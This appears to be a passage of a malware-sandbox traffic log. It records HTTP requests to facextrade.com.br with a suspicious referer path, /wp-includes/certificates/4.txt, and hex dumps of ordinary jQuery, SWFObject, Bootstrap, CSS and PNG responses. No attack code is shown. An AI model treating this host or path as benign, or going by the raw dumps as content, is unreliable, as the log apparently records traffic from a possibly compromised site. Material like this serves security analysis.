4d 49 47 52 41 54 45 3a 20 4c 6f 67 67 69 6e 67 20 69 73 20 61 63 74 69 76 65 22 29 2c 65 2e 6d 69 67 72 61 74 65 54 72 61 63 65 3d 3d 3d 6e 26 26 28 65 2e 6d 69 67 72 61 74 65 54 72 61 63 65 3d 21 30 29 2c 65 2e 6d 69 67 72 61 74 65 52 65 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 3d 7b 7d 2c 65 2e 6d 69 67 72 61 74 65 57 61 72 6e 69 6e 67 73 2e 6c 65 6e 67 74 68 3d 30 7d 2c 22 42 61 63 6b 43 6f 6d 70 61 74 22 3d 3d 3d 64 6f 63 75 6d 65 6e 74 2e 63 6f 6d 70 61 74 4d 6f 64 65 26 26 72 28 22 6a 51 75 65 72 79 20 69 73 20 6e 6f 74 20 63 6f 6d 70 61 74 69 62 6c 65 20 77 69 74 68 20 51 75 69 72 6b 73 20 4d 6f 64 65 22 29 3b 76 61 72 20 6f 3d 65 28 22 3c 69 6e 70 75 74 2f 3e 22 2c 7b 73 69 7a 65 3a 31 7d 29 2e 61 74 74 72 28 22 73 69 7a 65 22 29 26 26 65 2e 61 74 74 72 46 6e 2c 73 3d 65 2e 61 74 74 72 2c 75 3d 65 2e 61 74 74 72 48 6f 6f 6b 73 2e 76 61 6c 75 65 26 26 65 2e 61 74 74 72 48 6f 6f 6b 73 2e 76 61 6c 75 65 2e 67 65 74 7c 7c 66 75 6e 63 74 69 6f 6e Data Ascii: /! jQuery Migrate v1.2.1 \| (c) 2005, 2013 jQuery Foundation, Inc. and other contributors \| jquery.org/license /jQuery.migrateMute===void 0&&(jQuery.migrateMute=!0),function(e,t,n){function r(n){var r=t.console;i[n]\|\|(i[n]=!0,e.migrateWarnings.push(n),r&&r.warn&&!e.migrateMute&&(r.warn("JQMIGRATE: "+n),e.migrateTrace&&r.trace&&r.trace()))}function a(t,a,i,o){if(Object.defineProperty)try{return Object.defineProperty(t,a,{configurable:!0,enumerable:!0,get:function(){return r(o),i},set:function(e){r(o),i=e}}),n}catch(s){}e._definePropertyBroken=!0,t[a]=i}var i={};e.migrateWarnings=[],!e.migrateMute&&t.console&&t.console.log&&t.console.log("JQMIGRATE: Logging is active"),e.migrateTrace===n&&(e.migrateTrace=!0),e.migrateReset=function(){i={},e.migrateWarnings.length=0},"BackCompat"===document.compatMode&&r("jQuery is not compatible with Quirks Mode");var o=e("<input/>",{size:1}).attr("size")&&e.attrFn,s=e.attr,u=e.attrHooks.value&&e.attrHooks.value.get\|\|function
Aug 16, 2022 11:06:00.540155888 CEST	2164	IN	Data Raw: 28 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 2c 63 3d 65 2e 61 74 74 72 48 6f 6f 6b 73 2e 76 61 6c 75 65 26 26 65 2e 61 74 74 72 48 6f 6f 6b 73 2e 76 61 6c 75 65 2e 73 65 74 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 7d 2c 6c Data Ascii: (){return null},c=e.attrHooks.value&&e.attrHooks.value.set\|\|function(){return n},l=/^(?:input\|button)$/i,d=/^[238]$/,p=/^(?:autofocus\|autoplay\|async\|checked\|controls\|defer\|disabled\|hidden\|loop\|multiple\|open\|readonly\|required\|scoped\|selected)$/
Aug 16, 2022 11:06:00.540174961 CEST	2165	IN	Data Raw: 22 3d 3d 3d 61 3f 63 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 3a 28 22 69 6e 70 75 74 22 21 3d 3d 61 26 26 22 6f 70 74 69 6f 6e 22 21 3d 3d 61 26 26 72 28 22 6a 51 75 65 72 79 2e 66 6e 2e 61 74 74 72 28 27 76 61 6c 75 65 Data Ascii: "===a?c.apply(this,arguments):("input"!==a&&"option"!==a&&r("jQuery.fn.attr('value', val) no longer sets properties"),e.value=t,n)}};var g,h,v=e.fn.init,m=e.parseJSON,y=/^([^<])(<[\w\W]+>)([^>])$/;e.fn.init=function(t,n,a){var i;return t&&"s
Aug 16, 2022 11:06:00.540188074 CEST	2166	IN	Data Raw: 2c 65 2e 73 75 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 6e 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 74 2e 66 6e 2e 69 6e 69 74 28 65 2c 6e 29 7d 65 2e 65 78 74 65 6e 64 28 21 30 2c 74 2c 74 68 69 73 29 2c 74 2e Data Ascii: ,e.sub=function(){function t(e,n){return new t.fn.init(e,n)}e.extend(!0,t,this),t.superclass=this,t.fn=t.prototype=this(),t.fn.constructor=t,t.sub=this.sub,t.fn.init=function(r,a){return a&&a instanceof e&&!(a instanceof t)&&(a=t(a)),e.fn.init
Aug 16, 2022 11:06:00.540200949 CEST	2168	IN	Data Raw: 20 51 3d 65 2e 65 76 65 6e 74 2e 61 64 64 2c 78 3d 65 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 2c 6b 3d 65 2e 65 76 65 6e 74 2e 74 72 69 67 67 65 72 2c 4e 3d 65 2e 66 6e 2e 74 6f 67 67 6c 65 2c 54 3d 65 2e 66 6e 2e 6c 69 76 65 2c 4d 3d 65 2e 66 6e Data Ascii: Q=e.event.add,x=e.event.remove,k=e.event.trigger,N=e.fn.toggle,T=e.fn.live,M=e.fn.die,S="ajaxStart\|ajaxStop\|ajaxSend\|ajaxComplete\|ajaxError\|ajaxSuccess",C=RegExp("\\b(?:"+S+")\\b"),H=/(?:^\|\s)hover(\.\S+\|)\b/,A=function(t){return"string"!=typ
Aug 16, 2022 11:06:00.540213108 CEST	2169	IN	Data Raw: 2b 74 2e 67 75 69 64 2c 72 2b 31 29 2c 6e 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 61 5b 72 5d 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7c 7c 21 31 7d 3b 66 6f 72 28 73 2e 67 75 69 64 3d 69 3b 61 2e 6c 65 6e Data Ascii: +t.guid,r+1),n.preventDefault(),a[r].apply(this,arguments)\|\|!1};for(s.guid=i;a.length>o;)a[o++].guid=i;return this.click(s)},e.fn.live=function(t,n,a){return r("jQuery.fn.live() is deprecated"),T?T.apply(this,arguments):(e(this.context).on(t,t
Aug 16, 2022 11:06:00.543513060 CEST	2169	OUT	GET /wp-includes/js/swfobject.js?ver=2.2-20120417 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:00.756254911 CEST	2198	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:04:20 GMT Server: Apache ETag: "a55e6f-27f7-58592be2ea280" Last-Modified: Tue, 02 Apr 2019 21:23:06 GMT Content-Length: 10231 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 16636828 20835900 Age: 101 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 09 53 57 46 4f 62 6a 65 63 74 20 76 32 2e 32 20 3c 68 74 74 70 3a 2f 2f 63 6f 64 65 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 70 2f 73 77 66 6f 62 6a 65 63 74 2f 3e 20 0a 09 69 73 20 72 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 3c 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 6d 69 74 2d 6c 69 63 65 6e 73 65 2e 70 68 70 3e 20 0a 2a 2f 0a 76 61 72 20 73 77 66 6f 62 6a 65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 44 3d 22 75 6e 64 65 66 69 6e 65 64 22 2c 72 3d 22 6f 62 6a 65 63 74 22 2c 53 3d 22 53 68 6f 63 6b 77 61 76 65 20 46 6c 61 73 68 22 2c 57 3d 22 53 68 6f 63 6b 77 61 76 65 46 6c 61 73 68 2e 53 68 6f 63 6b 77 61 76 65 46 6c 61 73 68 22 2c 71 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 73 68 6f 63 6b 77 61 76 65 2d 66 6c 61 73 68 22 2c 52 3d 22 53 57 46 4f 62 6a 65 63 74 45 78 70 72 49 6e 73 74 22 2c 78 3d 22 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 22 2c 4f 3d 77 69 6e 64 6f 77 2c 6a 3d 64 6f 63 75 6d 65 6e 74 2c 74 3d 6e 61 76 69 67 61 74 6f 72 2c 54 3d 66 61 6c 73 65 2c 55 3d 5b 68 5d 2c 6f 3d 5b 5d 2c 4e 3d 5b 5d 2c 49 3d 5b 5d 2c 6c 2c 51 2c 45 2c 42 2c 4a 3d 66 61 6c 73 65 2c 61 3d 66 61 6c 73 65 2c 6e 2c 47 2c 6d 3d 74 72 75 65 2c 4d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 61 3d 74 79 70 65 6f 66 20 6a 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 21 3d 44 26 26 74 79 70 65 6f 66 20 6a 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 21 3d 44 26 26 74 79 70 65 6f 66 20 6a 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 21 3d 44 2c 61 68 3d 74 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 59 3d 74 2e 70 6c 61 74 66 6f 72 6d 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 61 65 3d 59 3f 2f 77 69 6e 2f 2e 74 65 73 74 28 59 29 3a 2f 77 69 6e 2f 2e 74 65 73 74 28 61 68 29 2c 61 63 3d 59 3f 2f 6d 61 63 2f 2e 74 65 73 74 28 59 29 3a 2f 6d 61 63 2f 2e 74 65 73 74 28 61 68 29 2c 61 66 3d 2f 77 65 62 6b 69 74 2f 2e 74 65 73 74 28 61 68 29 3f 70 61 72 73 65 46 6c 6f 61 74 28 61 68 2e 72 65 70 6c 61 63 65 28 2f 5e 2e 2a 77 65 62 6b 69 74 5c 2f 28 5c 64 2b 28 5c 2e 5c 64 2b 29 3f 29 2e 2a 24 2f 2c 22 24 31 22 29 29 3a 66 61 6c 73 65 2c 58 3d 21 2b 22 5c 76 31 22 2c 61 67 3d 5b 30 2c 30 2c 30 5d 2c 61 62 3d 6e 75 6c 6c 3b 69 66 28 74 79 70 65 6f 66 20 74 2e 70 6c 75 67 69 6e 73 21 3d 44 26 26 74 79 70 65 6f 66 20 74 2e 70 6c 75 67 69 6e 73 5b 53 5d 3d 3d 72 29 7b 61 62 3d 74 2e 70 6c 75 67 69 6e 73 5b 53 5d 2e 64 65 73 63 72 69 70 74 69 6f 6e 3b 69 66 28 61 62 26 26 21 28 74 79 70 65 6f 66 20 74 2e 6d 69 6d 65 54 79 70 65 73 21 3d 44 26 26 74 2e 6d 69 6d 65 54 79 70 65 73 5b 71 5d 26 26 21 74 2e 6d 69 6d 65 54 79 70 65 73 5b 71 5d 2e 65 6e 61 62 6c 65 64 50 6c 75 67 69 6e 29 29 7b 54 3d 74 72 75 65 3b 58 3d 66 61 Data Ascii: /SWFObject v2.2 <http://code.google.com/p/swfobject/> is released under the MIT License <http://www.opensource.org/licenses/mit-license.php> /var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.webkit\/(\d+(\.\d+)?).$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=fa
Aug 16, 2022 11:06:00.756289005 CEST	2200	IN	Data Raw: 6c 73 65 3b 61 62 3d 61 62 2e 72 65 70 6c 61 63 65 28 2f 5e 2e 2a 5c 73 2b 28 5c 53 2b 5c 73 2b 5c 53 2b 24 29 2f 2c 22 24 31 22 29 3b 61 67 5b 30 5d 3d 70 61 72 73 65 49 6e 74 28 61 62 2e 72 65 70 6c 61 63 65 28 2f 5e 28 2e 2a 29 5c 2e 2e 2a 24 Data Ascii: lse;ab=ab.replace(/^.\s+(\S+\s+\S+$)/,"$1");ag[0]=parseInt(ab.replace(/^(.)\..$/,"$1"),10);ag[1]=parseInt(ab.replace(/^.\.(.)\s.$/,"$1"),10);ag[2]=/[a-zA-Z]/.test(ab)?parseInt(ab.replace(/^.[a-zA-Z]+(.)$/,"$1"),10):0}}else{if(typeof O.
Aug 16, 2022 11:06:00.756310940 CEST	2201	IN	Data Raw: 7b 55 5b 55 2e 6c 65 6e 67 74 68 5d 3d 58 7d 7d 66 75 6e 63 74 69 6f 6e 20 73 28 59 29 7b 69 66 28 74 79 70 65 6f 66 20 4f 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 21 3d 44 29 7b 4f 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 Data Ascii: {U[U.length]=X}}function s(Y){if(typeof O.addEventListener!=D){O.addEventListener("load",Y,false)}else{if(typeof j.addEventListener!=D){j.addEventListener("load",Y,false)}else{if(typeof O.attachEvent!=D){i(O,"onload",Y)}else{if(typeof O.onload
Aug 16, 2022 11:06:00.756330013 CEST	2203	IN	Data Raw: 67 4e 61 6d 65 28 22 70 61 72 61 6d 22 29 3b 76 61 72 20 61 63 3d 58 2e 6c 65 6e 67 74 68 3b 66 6f 72 28 76 61 72 20 61 64 3d 30 3b 61 64 3c 61 63 3b 61 64 2b 2b 29 7b 69 66 28 58 5b 61 64 5d 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d Data Ascii: gName("param");var ac=X.length;for(var ad=0;ad<ac;ad++){if(X[ad].getAttribute("name").toLowerCase()!="movie"){ah[X[ad].getAttribute("name")]=X[ad].getAttribute("value")}}P(ai,ah,Y,ab)}else{p(ae);if(ab){ab(aa)}}}}}else{w(Y,true);if(ab){var Z=z(
Aug 16, 2022 11:06:00.758919954 CEST	2209	OUT	GET /wp-content/themes/CherryFramework/css/style.css HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:00.970377922 CEST	2263	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:02:58 GMT Server: Apache ETag: "a53047-101d2-58592d3578140" Last-Modified: Tue, 02 Apr 2019 21:29:01 GMT Content-Length: 66002 Content-Type: text/css Cache-Control: No-Cache Pragma: no-cache X-Varnish: 16636830 21586636 Age: 182 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 62 6f 64 79 20 7b 20 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 20 7d 0a 2e 69 65 38 20 62 6f 64 79 20 7b 20 6d 69 6e 2d 77 69 64 74 68 3a 39 38 30 70 78 3b 20 7d 0a 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 20 7b 0a 09 62 6f 64 79 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 7b 0a 09 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 7d 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 20 7b 0a 09 62 6f 64 79 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 68 65 61 64 65 72 2c 20 62 6f 64 79 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 63 6f 6e 74 65 6e 74 2d 68 6f 6c 64 65 72 2c 20 62 6f 64 79 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 66 6f 6f 74 65 72 20 7b 0a 09 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 30 70 78 3b 0a 09 09 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 70 78 3b 0a 09 7d 0a 7d 0a 62 6f 64 79 5b 63 6c 61 73 73 2a 3d 22 73 70 61 6e 22 5d 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 73 74 61 74 69 63 3b 0a 09 66 6c 6f 61 74 3a 6e 6f 6e 65 3b 0a 09 6d 69 6e 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 3b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 69 6e 68 65 72 69 74 3b 0a 7d 0a 61 20 7b 20 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 3b 20 7d 0a 61 3a 66 6f 63 75 73 20 7b 20 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 3b 20 7d 0a 2e 6d 61 69 6e 2d 68 6f 6c 64 65 72 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 0a 09 7a 2d 69 6e 64 65 78 3a 31 3b 0a 7d 0a 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 6d 61 69 6e 2d 68 6f 6c 64 65 72 20 7b 0a 09 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 3b 0a 09 6d 61 78 2d 77 69 64 74 68 3a 39 38 30 70 78 3b 0a 09 77 69 64 74 68 3a 61 75 74 6f 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 61 66 61 66 61 3b 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 31 32 30 30 70 78 29 20 7b 0a 09 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 6d 61 69 6e 2d 68 6f 6c 64 65 72 20 7b 20 6d 61 78 2d 77 69 64 74 68 3a 31 32 31 30 70 78 3b 20 7d 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 37 36 38 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 39 37 39 70 78 29 20 7b 0a 09 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 6d 61 69 6e 2d 68 6f 6c 64 65 72 20 7b 20 6d 61 78 2d 77 69 64 74 68 3a 37 36 34 70 78 3b 20 7d 0a 7d 0a 2e 68 65 61 64 65 72 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 0a 09 7a 2d 69 6e 64 65 78 3a 39 39 3b 0a 09 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 3b 0a 09 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 23 44 44 44 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 65 65 3b 0a 7d 0a 2e 6c 6f 67 6f 20 7b Data Ascii: body { position:relative; }.ie8 body { min-width:980px; }@media (max-width: 767px) {body.cherry-fixed-layout {padding-left:0 !important;padding-right:0 !important;}}@media (max-width: 767px) {body.cherry-fixed-layout .header, body.cherry-fixed-layout .content-holder, body.cherry-fixed-layout .footer {padding-left:20px;padding-right:20px;}}body[class*="span"] {position:static;float:none;min-height:inherit;margin-left:inherit;}a { outline:none; }a:focus { outline:none; }.main-holder {position:relative;z-index:1;}.cherry-fixed-layout .main-holder {margin:0 auto;max-width:980px;width:auto;background:#fafafa;}@media (min-width: 1200px) {.cherry-fixed-layout .main-holder { max-width:1210px; }}@media (min-width: 768px) and (max-width: 979px) {.cherry-fixed-layout .main-holder { max-width:764px; }}.header {position:relative;z-index:99;padding:30px 0;border-bottom:1px solid #DDD;background-color:#eee;}.logo {
Aug 16, 2022 11:06:01.396389961 CEST	2347	OUT	GET /wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:01.607722044 CEST	2357	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:04:21 GMT Server: Apache ETag: "a52fb8-7054-58592f4b86d40" Last-Modified: Tue, 02 Apr 2019 21:38:21 GMT Content-Length: 28756 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 16636832 20835904 Age: 100 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 2a 0a 2a 20 42 6f 6f 74 73 74 72 61 70 2e 6a 73 20 62 79 20 40 66 61 74 20 26 20 40 6d 64 6f 0a 2a 20 70 6c 75 67 69 6e 73 3a 20 62 6f 6f 74 73 74 72 61 70 2d 74 72 61 6e 73 69 74 69 6f 6e 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 6d 6f 64 61 6c 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 64 72 6f 70 64 6f 77 6e 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 73 63 72 6f 6c 6c 73 70 79 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 74 61 62 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 74 6f 6f 6c 74 69 70 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 70 6f 70 6f 76 65 72 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 61 66 66 69 78 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 61 6c 65 72 74 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 62 75 74 74 6f 6e 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 63 6f 6c 6c 61 70 73 65 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 63 61 72 6f 75 73 65 6c 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 74 79 70 65 61 68 65 61 64 2e 6a 73 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 32 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 61 70 61 63 68 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4c 49 43 45 4e 53 45 2d 32 2e 30 2e 74 78 74 0a 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 28 66 75 6e 63 74 69 6f 6e 28 29 7b 61 2e 73 75 70 70 6f 72 74 2e 74 72 61 6e 73 69 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 62 6f 6f 74 73 74 72 61 70 22 29 2c 62 3d 7b 57 65 62 6b 69 74 54 72 61 6e 73 69 74 69 6f 6e 3a 22 77 65 62 6b 69 74 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 4d 6f 7a 54 72 61 6e 73 69 74 69 6f 6e 3a 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 2c 4f 54 72 61 6e 73 69 74 69 6f 6e 3a 22 6f 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 20 6f 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 2c 74 72 61 6e 73 69 74 69 6f 6e 3a 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 7d 2c 63 3b 66 6f 72 28 63 20 69 6e 20 62 29 69 66 28 61 2e 73 74 79 6c 65 5b 63 5d 21 3d 3d 75 6e 64 65 66 69 6e 65 64 29 72 65 74 75 72 6e 20 62 5b 63 5d 7d 28 29 3b 72 65 74 75 72 6e 20 61 26 26 7b 65 6e 64 3a 61 7d 7d 28 29 7d 29 7d 28 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 29 2c 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 63 2c 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 3d 61 28 62 29 2e 64 65 6c 65 67 61 74 65 28 27 5b 64 61 74 61 2d 64 69 73 6d 69 73 73 3d 22 6d 6f 64 61 6c 22 5d 27 2c 22 63 6c 69 63 6b 2e 64 69 73 6d 69 73 73 2e 6d 6f 64 61 6c 22 2c 61 2e 70 72 6f 78 79 28 74 68 69 73 2e 68 69 64 65 2c 74 68 69 73 29 29 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 74 65 26 26 74 68 69 73 2e 24 65 6c 65 6d 65 Data Ascii: /*** Bootstrap.js by @fat & @mdo* plugins: bootstrap-transition.js, bootstrap-modal.js, bootstrap-dropdown.js, bootstrap-scrollspy.js, bootstrap-tab.js, bootstrap-tooltip.js, bootstrap-popover.js, bootstrap-affix.js, bootstrap-alert.js, bootstrap-button.js, bootstrap-collapse.js, bootstrap-carousel.js, bootstrap-typeahead.js* Copyright 2012 Twitter, Inc.* http://www.apache.org/licenses/LICENSE-2.0.txt*/!function(a){a(function(){a.support.transition=function(){var a=function(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"},c;for(c in b)if(a.style[c]!==undefined)return b[c]}();return a&&{end:a}}()})}(window.jQuery),!function(a){var b=function(b,c){this.options=c,this.$element=a(b).delegate('[data-dismiss="modal"]',"click.dismiss.modal",a.proxy(this.hide,this)),this.options.remote&&this.$eleme
Aug 16, 2022 11:06:01.611206055 CEST	2387	OUT	GET /wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:01.822712898 CEST	2407	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:04:21 GMT Server: Apache ETag: "a54b42-573c-58592e472c700" Last-Modified: Tue, 02 Apr 2019 21:33:48 GMT Content-Length: 22332 Content-Type: image/png Cache-Control: No-Cache Pragma: no-cache X-Varnish: 18314040 20835906 Age: 100 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 87 00 00 00 cb 08 06 00 00 00 1c 11 39 dc 00 00 20 00 49 44 41 54 78 9c ec 9d 79 7c 54 d5 fd f7 3f df 3b 4b 26 0b 21 84 24 84 10 03 01 8a 80 11 01 23 4b 40 01 7f 6e 45 02 82 82 16 65 d3 56 6c ad b5 b5 2e b5 fe fa f0 e2 f1 69 ad b5 d6 da cd 52 6b 21 c1 15 5c d8 a5 2e c5 85 04 84 88 a8 28 8a 2c 21 04 08 49 08 21 64 99 f5 7e 9f 3f 66 a8 49 66 c9 3d 77 ee 64 26 c9 79 bf ea 8b 57 ef 3d e7 dc 33 4b e6 7e ee 77 05 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 